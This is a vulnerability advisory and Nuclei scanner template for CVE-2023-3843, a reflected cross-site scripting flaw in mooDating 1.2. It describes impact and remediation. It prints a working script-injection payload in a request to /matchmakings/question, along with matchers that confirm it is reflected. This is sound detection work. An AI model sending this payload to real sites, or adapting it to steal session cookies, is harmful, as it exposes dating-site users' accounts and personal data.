mooDating 1.2 - Cross-site scripting

mediumseverity

6.1CVSS score

6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in mooSocial mooDating 1.2. It has been classified as problematic. Affected is an unknown function of the file /matchmakings/question of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. VDB-235194 is the identifier assigned to this vulnerability. NOTE: We tried to contact the vendor early about the disclosure but the official mail address was not working properly.

Impact

Unauthenticated attackers can inject malicious JavaScript through the matchmakings URL parameter to steal dating platform user session cookies and access personal profile information.

Fix

Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the matchmakings component.

How to confirm it

Send: GET {{BaseURL}}/matchmakings/questiontmili%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ew71ch?number=
Positive when: status_code == 404 and contains(content_type, "text/html") and contains(body, "><img src=a onerror=alert(document.domain)>w71ch") && contains(body, "mooDating")

Run it with nuclei: nuclei -id CVE-2023-3843 -u <target>

The full check

id: CVE-2023-3843

info:
  name: mooDating 1.2 - Cross-site scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in mooSocial mooDating 1.2. It has been classified as problematic. Affected is an unknown function of the file /matchmakings/question of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. VDB-235194 is the identifier assigned to this vulnerability. NOTE: We tried to contact the vendor early about the disclosure but the official mail address was not working properly.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the matchmakings URL parameter to steal dating platform user session cookies and access personal profile information.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the matchmakings component.
  reference:
    - https://www.exploit-db.com/exploits/51628
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3843
    - https://vuldb.com/?ctiid.235194
    - https://vuldb.com/?id.235194
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3843
    cwe-id: CWE-79
    epss-score: 0.05955
    epss-percentile: 0.93341
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,xss,unauth,exploitdb,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/matchmakings/questiontmili%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ew71ch?number="

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "><img src=a onerror=alert(document.domain)>w71ch") && contains(body, "mooDating")'
        condition: and

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